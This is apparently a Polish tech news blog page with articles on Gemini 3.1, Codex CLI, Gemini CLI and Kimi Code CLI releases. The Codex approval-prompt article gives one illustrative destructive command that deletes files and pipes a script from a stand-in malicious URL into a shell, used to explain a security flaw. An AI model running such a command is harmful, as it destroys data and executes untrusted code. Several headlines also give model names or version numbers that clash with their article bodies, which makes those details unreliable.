Kategoria: Aktualności

Google ogłasza Gemini 3.1 Flash Live: naturalniejsza rozmowa z AI w czasie rzeczywistym

26 lutego 2026 roku Google wprowadził do oferty nowe modele, które mają odmienić sposób, w jaki wchodzimy w interakcje z maszynami. Gemini 3.1 Pro i Gemini 3.1 Flash-Lite to multimodalne modele zaprojektowane do przetwarzania tekstu, obrazów, wideo i kodu. Ich premiera nie jest przypadkowa – odpowiada na rosnące zapotrzebowanie na wydajne i wszechstronne narzędzia AI dla deweloperów i firm. Szczegóły brzmią obiecująco: większa wydajność, rozszerzone okno kontekstowe i zaawansowane możliwości w rozsądnej cenie.

Czym właściwie są nowe modele Gemini 3.1?

W skrócie: to zaawansowane modele sztucznej inteligencji skoncentrowane na multimodalnym przetwarzaniu. Ich głównym zadaniem jest obsługa szerokiego spektrum zadań – od analizy dokumentów i wideo po generowanie kodu i tłumaczenia. Mowa tu o zaawansowanych asystentach dla programistów, systemach analizy treści czy interaktywnych narzędziach edukacyjnych.

Kluczowa jest różnica w przeznaczeniu obu wariantów. Gemini 3.1 Flash-Lite to szybki i tani model tekstowo-multimodalny, stworzony do obsługi ogromnej liczby zadań, takich jak tłumaczenie czy moderacja treści. Gemini 3.1 Pro to bardziej zaawansowany i potężniejszy model, oferujący rozszerzony kontekst i wyższą jakość odpowiedzi w złożonych zastosowaniach. Oba modele stanowią odpowiedź na potrzebę skalowalnych i efektywnych narzędzi AI.

Co potrafią nowe modele? Kluczowe ulepszenia

Google wskazało kilka konkretnych obszarów, w których nowe modele mają być wyraźnie lepsze od swoich poprzedników. Po pierwsze: wydajność i kontekst. Modele oferują lepsze wyniki przy niższych kosztach, a Gemini 3.1 Pro obsługuje wyjątkowo długie okno kontekstowe, co pozwala na analizę bardzo dużych dokumentów, długich nagrań wideo lub rozbudowanych baz kodu w jednym zapytaniu.

Po drugie: wszechstronność multimodalna. Modele zostały wytrenowane tak, by sprawnie łączyć i rozumieć różne rodzaje danych – tekst, obrazy, pliki wideo i audio. W praktyce oznacza to, że AI może analizować zawartość filmu, przetwarzać transkrypcję i odpowiadać na szczegółowe pytania, łącząc informacje ze wszystkich tych źródeł.

Po trzecie: dostępność. Dzięki różnym wersjom – od lekkiego Flash-Lite po zaawansowany Pro – modele są dostosowane do różnych potrzeb i budżetów, co umożliwia szerszą adopcję zaawansowanych możliwości AI.

Bezpieczeństwo i walka z deepfake'ami: SynthID

Google nie zapomniało o rosnącym problemie dezinformacji i deepfake'ów. Technologia znaku wodnego SynthID pozostaje kluczowym elementem ekosystemu. Rozwiązanie opracowane przez Google DeepMind osadza w pliku audio lub obrazie niewykrywalny dla człowieka marker. Pozwala on później sprawdzić, czy dana treść została wygenerowana przez AI.

To ważny krok w stronę odpowiedzialnego rozwoju technologii, zwłaszcza w kontekście ryzyka jej nadużyć. Dla deweloperów integrujących modele oznacza to dodatkową warstwę transparentności i zaufania.

Dla kogo są przeznaczone? Dostęp dla deweloperów i firm

Google udostępnia modele na kilka sposobów, celując w różne grupy odbiorców. Dla programistów i zespołów kluczowy jest dostęp przez Google AI Studio oraz API. To właśnie tam można zacząć eksperymentować z integracją modeli we własnych aplikacjach czy workflowach.

Dla większych organizacji i zastosowań korporacyjnych modele będą dostępne przez Gemini Enterprise na platformie Vertex AI. To ścieżka dla firm, które chcą wdrożyć zaawansowane AI w obsłudze klienta, wewnętrznych systemach analitycznych czy narzędziach deweloperskich.

Wreszcie, przeciętny użytkownik może zetknąć się z ulepszeniami tej technologii w usługach Google, takich jak wyszukiwarka czy asystenci, którzy korzystają z ulepszonych modeli bazowych.

Co na to rynek? Wczesne reakcje

W materiałach promocyjnych Google pochwaliło się współpracą z wczesnymi testerami. Ich opinie sugerują, że modele faktycznie sprawdzają się w integracji z istniejącymi procesami pracy, oferując dużą wydajność i użyteczność.

Warto też zwrócić uwagę na ogólne postępy w benchmarkach multimodalnych, gdzie rodzina modeli Gemini konsekwentnie prezentuje wysoką skuteczność w zadaniach łączących tekst, wideo i kod, co potwierdza ich wszechstronność.

Podsumowanie: kolejny krok w rozwoju multimodalnego AI

Premiera Gemini 3.1 Pro i Flash-Lite nie jest rewolucją, która od razu zmieni wszystko. To raczej konsekwentne i znaczące udoskonalenie w segmencie wydajnych i skalowalnych modeli multimodalnych. Pokazuje jednak wyraźny kierunek, w którym podąża branża: AI ma być wszechstronnym i dostępnym narzędziem do rozwiązywania realnych problemów. Przeniesienie punktu ciężkości na efektywność kosztową, długi kontekst i głębokie zrozumienie multimodalne świadczy o dojrzewaniu tej technologii.

Dla deweloperów i firm specjalizujących się w integracjach AI pojawienie się ulepszonych, łatwo dostępnych modeli to dobra wiadomość. Otwiera nowe możliwości w projektowaniu aplikacji, które mogą rozumieć świat w sposób bardziej zbliżony do człowieka. Sukces tych modeli będzie mierzony nie tyle wynikami w benchmarkach, ile tym, jak wiele firm i użytkowników uzna, że zaawansowane AI stało się praktycznym i niezawodnym elementem ich pracy.

2026-03-27
Codex CLI 0.115.0: Naprawiono błąd wyświetlania narzędzi serwera MCP
Nieduża zmiana, a jednak kluczowa dla codziennej pracy. W wydaniu Codex CLI 0.115.0, które skupiało się na dużych funkcjach, takich jak zaawansowana inspekcja wizualna, znalazła się też drobna, ale ważna poprawka. Rozwiązuje ona irytujący problem: polecenie /mcp nie wyświetlało dostępnych narzędzi dla serwerów MCP, które w swojej nazwie miały myślniki. Dla deweloperów korzystających z takich konfiguracji to istotne udogodnienie, które eliminuje niepotrzebne godziny szukania przyczyny błędu.

Ten błąd mógł wprowadzać w błąd, sugerując, że serwer jest bezużyteczny, podczas gdy on po prostu nie potrafił się poprawnie przedstawić. W świecie lekkich agentów kodujących (lightweight coding agents), gdzie każda sekunda w terminalu ma znaczenie, takie usterki potrafią solidnie pokrzyżować plany.

Na czym dokładnie polegał problem?

Sprawa dotyczyła komendy /mcp, która w Codex CLI służy do wyświetlania statusu i listy dostępnych narzędzi podłączonych serwerów MCP. MCP (Model Context Protocol) to kluczowy komponent pozwalający Codexowi na integrację z zewnętrznymi narzędziami, pluginami czy nawet innymi agentami AI.

Codex od zawsze akceptował nazwy serwerów MCP zawierające myślniki. Spełniały one wyrażenie regularne ^[a-zA-Z0-9_-]+$. Problem pojawiał się później, gdy użytkownik chciał sprawdzić możliwości takiego serwera. Mimo że serwer działał poprawnie i oferował swoje funkcje, polecenie /mcp wyświetlało przy nim po prostu: Tools: (none).

To tak, jakbyście podłączyli nową wiertarkę do gniazdka – światełko się pali, ale gdy próbujecie sprawdzić jej moc, kontrolka pokazuje „brak funkcji”. Serwer działał, narzędzia były gotowe do użycia, ale interfejs użytkownika uparcie twierdził, że ich nie ma. Błąd ten był na tyle uporczywy, że zgłoszenia na jego temat pojawiały się jeszcze w wersji 0.116.0, co sugeruje, że korzenie problemu sięgały głębiej i nie każda konfiguracja została od razu naprawiona.

Źródło błędu i mechanizm naprawy

Gdzie tkwiło sedno problemu? Jak to często bywa w programowaniu, chodziło o niespójność w przetwarzaniu danych. Jak wynika z analizy kodu, błąd leżał w sposobie, w jaki Codex poddawał sanityzacji w pełni kwalifikowane nazwy narzędzi MCP, a następnie grupował je z powrotem według nazwy serwera dla potrzeb funkcji mcpServerStatus/list.

Proces normalizacji nazw, który miał przygotować je do bezpiecznego użycia w trybie kodu, nie obsługiwał poprawnie myślników. Powodowało to niedopasowania. System szukał narzędzi dla serwera o nazwie moj-serwer, ale w swojej wewnętrznej mapie widział je zapisane w innej formie, na przykład mojserwer lub moj_serwer. Stąd rozbieżność i pusty ekran.

W wersji 0.115.0 wprowadzono konkretne poprawki:
- #14491 (Fix MCP tool calling): Ta zmiana autorstwa @pakrym-oai zaadresowała fundamentalne problemy z wywoływaniem samych narzędzi MCP.
- #14605 (Normalize MCP tool names to code-mode safe form): Kluczowa poprawka, także autorstwa @pakrym-oai. Jej zadaniem była właśnie bezpieczna normalizacja nazw narzędzi, która teraz prawidłowo obsługuje myślniki, nie psując przy tym ich wyświetlania.
Te poprawki były częścią szerszego zestawu ulepszeń dla przepływów MCP i tzw. elicitation. Jak odnotowano w changelogu, stały się one „bardziej odporne na błędy dzięki bezpieczniejszej normalizacji nazw narzędzi i zachowywaniu tool_params w promptach zatwierdzeń”.

Dlaczego ta poprawka ma znaczenie dla użytkownika?

Można pomyśleć – to tylko myślnik. Ale w praktyce deweloperskiej, szczególnie w obszarach takich jak DevOps czy hosting, nazwy z myślnikami są wszechobecne. Konwencje nazewnicze takie jak docker-compose, cloud-build czy github-actions są standardem. Deweloper konfigurujący serwer MCP do integracji z takimi narzędziami naturalnie nada mu nazwę github-actions-helper.

Przed poprawką, po takiej konfiguracji, użytkownik tracił możliwość wizualnej weryfikacji w CLI. Nie widział, czy integracja faktycznie się udała i jakie komendy są dostępne. Musiał polegać na pamięci, zgadywać lub – co gorsza – próbować wywołać narzędzie na ślepo, licząc, że zadziała. To tworzyło niepotrzebną warstwę frustracji i niepewności, która jest zupełnie niepożądana w narzędziu mającym przyspieszać pracę.

Dla lekkiego agenta kodującego, jakim jest Codex CLI, bezpośrednia, transparentna komunikacja z użytkownikiem w terminalu jest kluczowa. Zaufanie do agenta polega na tym, że dokładnie wiadomo, czym dysponuje i jakie operacje może wykonać. Błąd z wyświetlaniem narzędzi podważał to zaufanie dla całej grupy użytkowników. Jego naprawa to nie tylko kwestia zgodności technicznej, ale też poprawa ergonomii i przewidywalności środowiska pracy.

Szerszy kontekst rozwoju Codex CLI 0.115.0

Warto na chwilę odejść od tego konkretnego błędu i spojrzeć na niego jako na element większej układanki. Wydanie 0.115.0 było znaczące. Oprócz tej drobnej naprawy wprowadziło całą gamę nowości: inspekcję wizualną obrazów w pełnej rozdzielczości, bogatszy REPL dla JavaScript, obsługę WebSocketów w czasie rzeczywistym, nową wersję RPC dla systemu plików (v2) oraz poprawki niezawodności dla subagentów.

Fakt, że w takim wydaniu znalazł się czas na dopracowanie obsługi myślników w nazwach MCP, mówi sam za siebie. Pokazuje, że twórcy Codexa traktują infrastrukturę MCP nie jako dodatek, ale jako filar architektury. To przez MCP Codex rozszerza swoje możliwości o niestandardowe narzędzia, pluginy i zewnętrzne serwisy. Gdy ten filar ma rysę, cała konstrukcja staje się mniej stabilna.

Co ciekawe, changelog wspomina też o trendzie pakowania konfiguracji MCP w pakiety pluginów, które można łatwo wykorzystywać w różnych projektach i przepływach AI. To kierunek, w którym rozwija się ekosystem – w stronę modularności i reużywalności. A w modularnym systemie spójne i niezawodne zarządzanie nazwami oraz zależnościami jest absolutnie fundamentalne. Naprawa z wersji 0.115.0 to mały, ale konieczny krok w tym kierunku.

Podsumowanie

Poprawka błędu z wyświetlaniem narzędzi MCP dla serwerów z myślnikami w nazwie w Codex CLI 0.115.0 to doskonały przykład na to, że w rozwoju oprogramowania detale mają znaczenie. To nie była spektakularna nowa funkcja, ale zmiana, która bezpośrednio wpłynęła na komfort pracy części użytkowników, eliminując źródło dezorientacji i potencjalnych błędów.

Pokazuje to dojrzałość projektu, którego twórcy nie tylko pędzą do przodu z nowymi funkcjami, ale też zaglądają w zakamarki istniejącego kodu, by wygładzić nierówności. Dla deweloperów korzystających z Codex CLI w obszarach web developmentu, AI czy vibe codingu, gdzie integracje z różnymi narzędziami są na porządku dziennym, to ważna wiadomość. Ich konfiguracje, często korzystające z popularnych nazw z myślnikami, będą teraz działały tak przejrzyście, jak powinny od początku. A w świecie automatyzacji i współpracy z AI przejrzystość jest często tym, co oddziela płynny workflow od walki z narzędziem.
2026-03-27
OpenAI Codex CLI 0.115.0 wprowadza błędne prośby o zatwierdzenie wśród nowych funkcji

Ostatnia aktualizacja narzędzia CLI OpenAI Codex, wersja 0.115.0, miała być krokiem naprzód. Użytkownicy spodziewali się płynniejszego logowania i lepszego zarządzania wtyczkami. Zamiast tego wielu z nich zetknęło się z irytującym regresem: wszechobecnymi, często błędnymi prośbami o zatwierdzenie (approval prompts) niemal każdego polecenia. Ta usterka postawiła pod znakiem zapytania praktyczność nowych funkcji i podkreśliła wyzwania związane z zachowaniem równowagi między bezpieczeństwem a płynnością pracy.

Nowe funkcje kontra stary problem: regresja w prośbach o zatwierdzenie

Wersja 0.115.0 CLI faktycznie przyniosła kilka oczekiwanych usprawnień. Jednym z nich jest wsparcie dla logowania przez device code do ChatGPT, co ma uprościć proces uwierzytelniania. Kolejna nowość to płynniejsza konfiguracja wtyczek – system może teraz sam podpowiadać ich instalację. Dodano także hook userpromptsubmit, który pozwala deweloperom na blokowanie lub modyfikację promptów przed ich wykonaniem.

Problem w tym, że aby w ogóle skorzystać z tych nowości, użytkownicy musieli najpierw przebrnąć przez ścianę pytań o zgodę. Jak zgłaszali deweloperzy, CLI nagle zaczęło domagać się zatwierdzenia rutynowych, podstawowych poleceń systemowych, takich jak find, ls czy sed. To komendy, które w poprzednich wersjach wykonywały się w tle, bez ingerencji użytkownika. Nagła zmiana to klasyczny przykład regresji – sytuacja, w której wprowadzenie nowego kodu psuje istniejącą, działającą funkcjonalność.

Sytuacja była na tyle uciążliwa, że niektórzy użytkownicy celowo wracali do starszej, stabilnej wersji, aby odzyskać produktywność. Co gorsza, problem nie został naprawiony od razu i przeniósł się nawet do następnego wydania. Pokazuje to, jak trudno czasem wyeliminować nieoczekiwane konsekwencje zmian w kodzie.

Poważniejsza wada: niepełne informacje w interfejsie zatwierdzania

Sam fakt częstych pytań mógłby być jedynie irytujący. Okazało się jednak, że mechanizm zatwierdzania w wersji 0.115.0 ma poważniejszą, potencjalnie niebezpieczną wadę. Interfejs pokazywał użytkownikowi do recenzji tylko początkową część polecenia. Szczególnie problematyczne okazywało się to w przypadku poleceń łączonych za pomocą operatora &&.

Wyobraźmy sobie sytuację: Codex prosi o zatwierdzenie wykonania cd katalog. Użytkownik, widząc tylko tę nieszkodliwą komendę, wyraża zgodę. Tymczasem w tle, niewidoczne w oknie zatwierdzenia, czekało pełne, złożone polecenie, np. cd katalog && rm -rf ./* && curl http://niebezpieczny-url.pl | sh. Użytkownik w dobrej wierze zatwierdzał prostą operację, nie mając pojęcia, co tak naprawdę zostanie uruchomione.

Jako obejście sugerowano… unikanie zatwierdzania poleceń, których nie można w pełni przejrzeć. To rozwiązanie przerzuca odpowiedzialność za bezpieczeństwo na użytkownika, nie naprawiając podstawowej usterki interfejsu.

Wpływ na użytkowników i adopcję nowych funkcji

Połączenie tych dwóch problemów – częstych próśb i niepełnych informacji – stworzyło wyjątkowo frustrujące środowisko pracy. Główny cel aktualizacji, czyli wprowadzenie nowych, użytecznych funkcji, został skutecznie przyćmiony. Użytkownik chcący przetestować nowy flow logowania czy zarządzania wtyczkami musiał w kółko klikać „zatwierdź”, często działając po omacku, bo nie widział pełnej treści polecenia.

Ta regresja uderza w samą istotę narzędzi takich jak Codex CLI, które mają przyspieszać i automatyzować pracę dewelopera. Zamiast płynnej współpracy z AI, użytkownik otrzymywał ciągłe przerwy w pracy, zmuszony do ręcznej interwencji przy każdej, nawet najprostszej operacji. Jeden z użytkowników zgłosił, że problemy z zatwierdzaniem zmusiły go do skomplikowanych zmian w workflow i wzmocniły obawy o stabilność całego narzędzia Codex.

Dla OpenAI to cenna, choć bolesna lekcja. Wprowadzanie nowych zabezpieczeń i funkcji musi iść w parze z dbałością o podstawową ergonomię. Jeśli nowy system zatwierdzania jest tak uciążliwy, że użytkownicy masowo wracają do starszej wersji, to znak, że równowaga między bezpieczeństwem a wygodą została zachwiana.

Perspektywy naprawy i wnioski na przyszłość

Późniejsze aktualizacje zaczęły adresować te problemy. Poprawki obejmowały m.in. zapewnienie, że raz nadane uprawnienia są trwałe pomiędzy kolejnymi krokami (tzw. turns) oraz że system poprawnie działa z konfiguracjami opartymi na odrzuceniu (reject-style). To pokazuje, że zespół był świadomy problemu i pracował nad jego rozwiązaniem.

Kluczowy wniosek z tej sytuacji dotyczy procesu wdrażania. Nowe funkcje, nawet te najbardziej obiecujące, muszą być testowane w realnych warunkach pod kątem ich wpływu na całościowe User Experience. Mechanizm zatwierdzania, który ma chronić, nie może być jednocześnie tak wadliwy, że wprowadza nowe ryzyko przez brak przejrzystości.

Dla społeczności deweloperów używających Codex CLI to też przypomnienie o zachowaniu ostrożności. Korzystanie z wersji nightly czy świeżo wydanych aktualizacji, zwłaszcza w przypadku kluczowych narzędzi, zawsze wiąże się z ryzykiem. Czasem kilka dni zwłoki z aktualizacją, by poczekać na pierwsze opinie społeczności, może zaoszczędzić wiele godzin frustracji.

Podsumowanie

Historia wersji 0.115.0 OpenAI Codex CLI to studium przypadku na temat wyzwań w rozwoju złożonego oprogramowania. Z jednej strony mamy ewidentny postęp: lepsze uwierzytelnianie, sprytniejsze zarządzanie wtyczkami, nowe hooki dla deweloperów. Z drugiej – poważny krok w tył w fundamentalnej kwestii interakcji z użytkownikiem.

Usterka z zatwierdzaniem poleceń nie tylko uprzykrzała życie, ale wręcz podważała zaufanie do systemu, obnażając jego potencjalnie niebezpieczną wadę. Naprawienie tego wymagało nie tylko poprawki technicznej, ale i przywrócenia poczucia kontroli oraz przejrzystości dla osób pracujących w terminalu. Ostatecznie sukces takich narzędzi nie zależy wyłącznie od ich możliwości, ale od tego, jak płynnie i bezpiecznie wpisują się w codzienną pracę. Wersja 0.115.0, przynajmniej na początku, tę płynność skutecznie zablokowała.

2026-03-26
Gemini CLI v0.34.0-preview.0: lepsze izolacja sandbox, poprawki UI i stabilność
Wydanie pre-release Gemini CLI, oznaczone jako v0.34.0-preview.4, przynosi ważne zmiany, które mogą znacząco poprawić doświadczenie użytkowników, szczególnie tych pracujących z AI w terminalu. To nie tylko kolejna iteracja – wprowadza eksperymentalne, ale kluczowe funkcje sandboxingu, solidne poprawki interfejsu oraz szereg poprawek stabilności, które wpływają na codzienną pracę. Jeśli używasz Gemini CLI do vibe codingu, automatyzacji DevOps czy szybkiego prototypowania, ta wersja jest warta uwagi.

Rewolucyjny sandboxing: LXC i gVisor

Jednym z najważniejszych, choć jeszcze eksperymentalnych elementów tej wersji, jest rozszerzenie możliwości sandboxingu. Sandbox, czyli izolowane środowisko wykonawcze, jest niezbędny do bezpiecznego testowania skryptów, uruchamiania nieznanych poleceń czy pracy z agentami AI, które mogą próbować wykonać niebezpieczne operacje.

Do tej pory Gemini CLI oferował pewne mechanizmy izolacji, ale v0.34.0-preview.4 idzie o krok dalej. Po pierwsze, dodano eksperymentalne wsparcie dla kontenerów LXC. LXC (Linux Containers) to lekki system konteneryzacji, który pozwala stworzyć izolowane środowisko Linuxa bez narzutu pełnej maszyny wirtualnej. Dla deweloperów oznacza to możliwość uruchamiania poleceń czy skryptów w bezpiecznej „klatce”, która chroni główny system.

Po drugie, pojawiła się integracja z gVisor (runsc). gVisor to sandbox runtime dla kontenerów, stworzony przez Google, który implementuje własny, minimalistyczny kernel w języku Go. Został zaprojektowany specjalnie do bezpiecznego izolowania aplikacji. Natywna integracja z gVisor w Gemini CLI daje jeszcze większą kontrolę i pewność podczas wykonywania operacji, które mogłyby potencjalnie naruszyć system.

Te dwie technologie nie są jeszcze domyślnie włączone i wymagają odpowiedniej konfiguracji, ale ich pojawienie się w kodzie źródłowym pokazuje wyraźny kierunek rozwoju: Gemini CLI chce być bezpiecznym narzędziem nie tylko do interakcji z AI, ale także do automatyzacji i DevOps. Szczególnie w przypadku vibe codingu – gdzie agent AI może dynamicznie generować i testować kod – takie sandboxy są absolutną koniecznością.

Szlifowanie interfejsu użytkownika

Drugim dużym obszarem zmian jest interfejs. W aplikacjach terminalowych UX często jest niedoceniany, ale w Gemini CLI otrzymuje on ciągłe poprawki.

Ciekawą nowością jest możliwość konfiguracji sandboxa w `settings.json`. Daje to większą kontrolę nad środowiskiem wykonawczym. Historia chatu została poprawiona, aby była bardziej przejrzysta i czytelna. Nawet generowane snapshoty SVG (używane np. do dzielenia się fragmentami pracy) otrzymały drobne, ale praktyczne ulepszenia.

Poprawki rdzenia i stabilność

Pod płaszczem nowych funkcji kryje się wiele poprawek stabilności, które bezpośrednio wpływają na niezawodność narzędzia.

W długo działających sesjach pojawiało się ryzyko crashów związanych z Out of Memory (OOM). W v0.34.0-preview.4 wprowadzono poprawki optymalizujące zarządzanie pamięcią, które mają temu zapobiegać.

Inne istotne bugfixy obejmują: autocomplete dla plików (poprawki dla ścieżek takich jak @scripts/copy_files.js, @file), refaktoryzację OAuth oraz zarządzanie extensions. Naprawiono także błąd AbortError w pętli strumieniowania (stream loop).

Drobne, ale znaczące ulepszenia

Warto wspomnieć o kilku innych zmianach, które składają się na lepszy user experience. Trackery zadań (task trackers) otrzymały zestaw narzędzi CRUD oraz poprawki wizualizacji, co pomaga w zarządzaniu zadaniami wewnątrz CLI. Agent przeglądarkowy został ulepszony poprzez emisję postępu, nakładkę (overlay) dla automatyzacji oraz dodatkowe testy integracyjne.

Jak zainstalować i co dalej

Wersja v0.34.0-preview.4, jak wszystkie wydania preview, nie jest jeszcze uważana za całkowicie stabilną. Może zawierać eksperymentalne funkcje, które będą jeszcze dopracowywane. Instalacja odbywa się standardowo poprzez npm:
```
npm install -g @google/gemini-cli@preview
```
Warto zauważyć, że ta wersja jest częścią ciągłego cyklu rozwojowego Gemini CLI. Wcześniejsze nightly builds (jak v0.34.0-nightly.20260307) wprowadzały już różne zmiany. Wersja preview konsoliduje te usprawnienia i dodaje nowe.

Znaczenie dla deweloperów

Dla osób pracujących w obszarach web developmentu, AI, DevOps czy terminal-based workflows, ta wersja Gemini CLI przynosi konkretne korzyści. Sandboxing otwiera drogę do bezpiecznego testowania skryptów i automatyzacji generowanych przez AI. Poprawki UI sprawiają, że codzienna praca jest płynniejsza, a poprawki stabilności zmniejszają ryzyko utraty sesji czy problemów z autouzupełnianiem.

Choć niektóre funkcje są jeszcze eksperymentalne, ich obecność pokazuje, że Gemini CLI nie jest tylko „chatbotem w terminalu”. Staje się kompleksowym narzędziem dla deweloperów, którzy chcą integrować AI z codziennymi workflowami, zachowując bezpieczeństwo i kontrolę.

Podsumowanie

Gemini CLI v0.34.0-preview.4 to solidny krok naprzód dla tego terminalowego agenta AI. Eksperymentalne sandboxy (LXC i gVisor) odpowiadają na realne potrzeby bezpieczeństwa w vibe codingu i automatyzacji DevOps. Szlifowanie interfejsu i liczne poprawki rdzenia – od zarządzania pamięcią po autocomplete – zwiększają niezawodność aplikacji w długotrwałych sesjach.

To wydanie pokazuje, że projekt nie skupia się wyłącznie na nowych, spektakularnych funkcjach, ale także na fundamentach: stabilności, bezpieczeństwie i użyteczności. Dla deweloperów już korzystających z Gemini CLI aktualizacja do wersji preview może znacząco poprawić komfort pracy. Dla tych, którzy jeszcze go nie próbowali – to dobry moment, aby sprawdzić, jak terminalowe AI może być nie tylko potężne, ale także bezpieczne i przemyślane.
2026-03-18
Kimi Code CLI 1.18.0: poprawki w Shell, Core i ACP usprawniają pracę z AI
Firma Moonshot AI wydała nową wersję swojego terminalowego asystenta AI dla programistów. Kimi Code CLI 1.12.0 skupia się na zwiększeniu stabilności i poszerzeniu funkcjonalności w kluczowych obszarach: trybie Shell, rdzeniu (Core) oraz integracji z edytorami poprzez ACP. Wydanie nie wprowadza rewolucyjnych zmian, ale konsekwentnie eliminuje znane błędy i dodaje przydatne usprawnienia.

Kluczowe poprawki w trybie ACP

Tryb Agent Client Protocol (ACP) służy do integracji Kimi CLI z edytorami kodu i IDE, takimi jak Zed czy Neovim. To właśnie tutaj pojawiła się jedna z najważniejszych poprawek w tej wersji.

ACP obsługuje teraz zasoby osadzone (embedded resource content). W praktyce oznacza to, że gdy w edytorze używasz referencji do pliku (np. poprzez @ w Zed), Kimi CLI poprawnie zinterpretuje tę informację i włączy treść pliku do kontekstu. Poprawka rozwiązuje konkretny problem, w którym Zed ACP nie rozpoznawał obsługiwanych plików, co utrudniało naturalną współpracę między edytorem a agentem.

Ta zmiana jest istotna dla codziennej pracy. Agent, otrzymując pełną treść referowanego pliku, może precyzyjniej odpowiadać na pytania dotyczące konkretnych fragmentów kodu lub sugerować modyfikacje. Wspiera to filozofię „vibe coding”, czyli wykonywania zadań programistycznych poprzez rozmowę w języku naturalnym.

Shell: większa stabilność

Tryb Shell Kimi CLI pozwala na bezpośrednią interakcję z agentem w terminalu, z integracją z Zsh i możliwością przełączania się między funkcjonalnościami. Wersja 1.12.0 wzmacnia jego stabilność.

Naprawiono istotny błąd powodujący crash aplikacji, który występował, gdy dane w schowku (clipboard) miały wartość `None`. Eliminacja takich błędów sprawia, że codzienne korzystanie z CLI jest mniej frustrujące i bardziej przewidywalne.

Usprawnienia rdzenia (Core)

Rdzeń Kimi CLI, który zarządza komunikacją z modelami AI, również został zoptymalizowany. Zmiany dotyczą poprawy ogólnej niezawodności i kompatybilności z zewnętrznymi dostawcami (providerami) API, choć szczegóły implementacyjne mogą ewoluować.

Web: odporne połączenia

Komponent Web, czyli interfejs przeglądarkowy dostępny przez polecenie kimi web, został usprawniony pod kątem odporności na problemy sieciowe.

Zaimplementowano automatyczną logikę ponawiania prób (retry) dla inicjalizacji sesji. Jeśli początkowe połączenie nie powiedzie się, system spróbuje połączyć się ponownie, co zwiększa szansę na poprawne rozpoczęcie pracy bez konieczności ręcznej interwencji użytkownika.

Kimi CLI w szerszym kontekście: nie tylko agent

Kimi Code CLI od Moonshot AI to open-source’owy terminalowy agent AI stworzony do zadań związanych z wytwarzaniem oprogramowania. To nie tylko narzędzie do rozmowy o kodzie. Jak przypomniano w dokumentacji: „Kimi Code CLI is not only a coding agent, but also a shell”.

Narzędzie obsługuje trzy główne tryby pracy:
- Interaktywny CLI (kimi) do czatu w języku naturalnym i wykonywania poleceń powłoki.
- Interfejs przeglądarkowy (kimi web) z zarządzaniem sesjami, referencjami do plików i podświetlaniem składni (syntax highlighting).
- Integrację z IDE (kimi --acp) poprzez Agent Client Protocol działający jako usługa.
Jako projekt open-source, Kimi Code CLI rozwija się dynamicznie dzięki zgłoszeniom społeczności. Poprawka dla ACP związana z zasobami osadzonymi jest przykładem reakcji na błędy zgłoszone przez użytkowników edytora Zed. Projekt cieszy się dużym zainteresowaniem, gromadząc tysiące gwiazdek w serwisie GitHub.

Dlaczego te poprawki są istotne dla WebDev i DevOps

Wydanie 1.12.0 trafia w potrzeby praktyków web developmentu i DevOps. Stabilność w trybie Shell jest kluczowa dla automatyzacji i skryptowania. Poprawki w Core zapewniają, że integracja z modelami AI działa bez zakłóceń, co stanowi fundament nowoczesnego workflow opartego na sztucznej inteligencji.

Obsługa zasobów osadzonych w ACP bezpośrednio wspiera pracę w edytorach, gdzie szybkie odwołania do plików są codziennością. Z kolei wzmocnienie komponentu Web sprawia, że korzystanie z interfejsu przeglądarkowego jest bardziej niezawodne, nawet w środowiskach z niestabilnym łączem.

Wnioski: krok w stronę niezawodnego środowiska

Wersja Kimi Code CLI 1.12.0 to kolejny krok w ewolucji tego narzędzia. Twórcy skupili się na eliminowaniu błędów i zwiększaniu odporności systemu. Takie podejście jest kluczowe dla użytkowników, którzy na co dzień wykorzystują CLI w swojej pracy, ponieważ bezpośrednio przekłada się na komfort i wydajność.

Naprawa błędów krytycznych, usprawnienia w API oraz wzmocnienie logiki połączeń to zmiany ukierunkowane na praktyczne scenariusze użycia. Pokazują one, że rozwój projektu jest ściśle powiązany z realnymi potrzebami społeczności oraz wymaganiami integracji z innymi elementami ekosystemu programistycznego.
2026-03-16
Codex v0.112.0 wprowadza wzmianki @plugin i zaostrza bezpieczeństwo sandboxów
Najnowsza wersja terminalowego asystenta programistycznego od OpenAI, Codex 0.112.0, to solidna aktualizacja skupiająca się na dwóch kluczowych obszarach: wygodzie integracji pluginów i bezpieczeństwie wykonywania narzędzi. Wydanie, które trafiło do użytkowników w marcu 2026 roku, nie przynosi rewolucyjnych zmian w interfejsie, ale za to subtelnie, acz znacząco, usprawnia codzienną pracę z AI w terminalu.

Głównymi nowościami tej odsłony są możliwość bezpośredniego przywoływania pluginów w czacie za pomocą symbolu @ oraz fundamentalne zmiany w polityce sandboxów, które mają zapobiegać nieautoryzowanym działaniom. To ewolucja wpisująca się w trend rozbudowy ekosystemu Codexa – lekkiego agenta, który zdobył już sporą popularność wśród deweloperów.

Łatwiejsza integracja: wywołaj plugin w rozmowie za pomocą @

Jedną z bardziej praktycznych nowości jest funkcja @plugin mentions. Do tej pory korzystanie z funkcjonalności pluginów mogło wymagać pamiętania o specyficznych komendach lub kontekstach. Teraz, w trakcie rozmowy z Codexem w terminalu (TUI), wystarczy wspomnieć o pluginie, używając @nazwa_plugina.

Na przykład, pisząc „@git jaki jest status mojego repozytorium?”, użytkownik automatycznie załącza kontekst związany z danym pluginem, aplikacją lub umiejętnością (skill). To małe, ale niezwykle przydatne udogodnienie, które sprawia, że praca z wieloma rozszerzeniami staje się bardziej płynna i intuicyjna. Zmiana ta (oznaczona w changelogu jako #13510) bezpośrednio odpowiada na potrzeby użytkowników, którzy chcą szybko przełączać się między różnymi narzędziami bez przerywania flow pracy.

Poza tym zaktualizowano też katalog modeli w interfejsie TUI. Teraz wybór modelu podczas rozpoczynania sesji lepiej odzwierciedla aktualną ofertę OpenAI.

Bezpieczeństwo przede wszystkim: nowa polityka sandboxów dla zsh-fork

Jeśli integracja pluginów to kwestia wygody, to druga główna zmiana dotyczy fundamentów bezpieczeństwa. W wersji 0.112.0 połączono profile uprawnień wykonywalnych z polityką sandboxa na każdą turę (per-turn sandbox policy). To techniczne, ale kluczowe usprawnienie dotyczące wykonywania umiejętności typu zsh-fork.

